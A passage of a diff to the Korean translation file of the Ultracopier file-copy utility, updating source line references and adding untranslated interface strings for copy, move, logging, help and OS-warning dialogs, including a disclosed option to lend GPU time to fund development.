+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation>인터페이스를 불러올 수 없음, 복사가 취소되었습니다</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation>복사 엔진을 불러올 수 없음, 복사가 취소되었습니다</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation>복사 엔진</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation>복사</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation>이동</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation>일시 중지</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation>다시 시작</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation>건너뛰기</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation>무제한</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation>초</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation>너무 큽니다</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation>B</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation>KB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation>MB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation>GB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation>TB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation>PB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation>EB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation>ZB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation>YB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation type="unfinished">오류</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
- <translation>UltraCopier 정보</translation>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
- <translation>Qt에 기반으로 더욱 고급 기능의 복사기를 제공합니다. UltraCopier는 GPL3 라이센스를 따릅니다. 이 버전은 %1(으)로 컴파일 되었습니다.</translation>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation>플랫폼: %1</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation>Qt에 대해</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation>충돌 발생시</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation>버그 보고서 저장</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation>닫기</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation>http://portableapps.com을 위해</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation>포터블 버전</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation>일반 버전</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation>http://ultracopier.first-world.info/</translation>
</message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation>알림</translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation>연결된 클라이언트로부터 데이터를 재구성하는 동안에 시간이 초과되었습니다</translation>
</message>
@@ -493,22 +590,79 @@ This version is compiled as version: %1.</source>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation>오류</translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<source>Unable to open file to keep the log file, error: %1</source>
- <translation>로그 파일로 보존할 파일을 열 수 없습니다. 오류: %1</translation>
+ <translation type="obsolete">로그 파일로 보존할 파일을 열 수 없습니다. 오류: %1</translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished">알림</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
</message>
</context>
<context>
@@ -531,245 +685,326 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation>복사 엔진</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation>테마</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation>로그</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
- <translation>언어:</translation>
- </message>
- <message>
- <location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
- <translation>시스템 언어 자동 감지:</translation>
- </message>
- <message>
- <location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
- <translation>기본으로 복사/이동 자동 감지:</translation>
- </message>
- <message>
- <location filename="../../../OptionDialog.ui" line="155"/>
<source>Load at the session loading:</source>
- <translation>세션 시작시 프로그램 실행:</translation>
+ <translation type="obsolete">세션 시작시 프로그램 실행:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
- <source>When manual open:</source>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
- <source>Group the windows when:</source>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
+ <location filename="../../../OptionDialog.ui" line="312"/>
<source>Name</source>
<translation>이름</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
+ <location filename="../../../OptionDialog.ui" line="317"/>
<source>Version</source>
<translation>버전</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
+ <location filename="../../../OptionDialog.ui" line="327"/>
<source>Language</source>
<translation>언어</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
<source>Listener</source>
<translation>리스너</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
<source>Plugin loader</source>
<translation>플러그인 로더</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
<source>Session loader</source>
<translation>섹션 로더</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="117"/>
+ <source>Force the language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="127"/>
+ <source>Replace the default copy and move system</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="141"/>
+ <source>Load at the session loading</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="155"/>
+ <source>When manual open</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation>플러그인</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation>추가</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation>제거</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation>정보</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation>복사 엔진 순서 환경 설정:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation>테마:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation>테마 플러그인을 불러올 수 없습니다</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation>이 플러그인에 대한 옵션이 없습니다</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation>찾아보기</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation>변수는 %time%, %source%, %size%, %destination% 입니다</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation>변수는 %time%, %path%, %size%, %mtime%, %error% 입니다</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
<translation>로그 파일 작성:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
<source>Write the transfers:</source>
- <translation>전송 내역 작성:</translation>
+ <translation type="obsolete">전송 내역 작성:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
<source>Write the errors:</source>
- <translation>오류 내역 작성:</translation>
+ <translation type="obsolete">오류 내역 작성:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
<source>Write the folder operations:</source>
- <translation>폴더 작업 작성:</translation>
+ <translation type="obsolete">폴더 작업 작성:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
<source>Disabled because you have any SessionLoader plugin</source>
- <translation>어떤 세션로더 플러그인을 보유중이므로 비활성화되었습니다</translation>
+ <translation type="obsolete">어떤 세션로더 플러그인을 보유중이므로 비활성화되었습니다</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation type="unfinished"></translation>
</message>
<message>
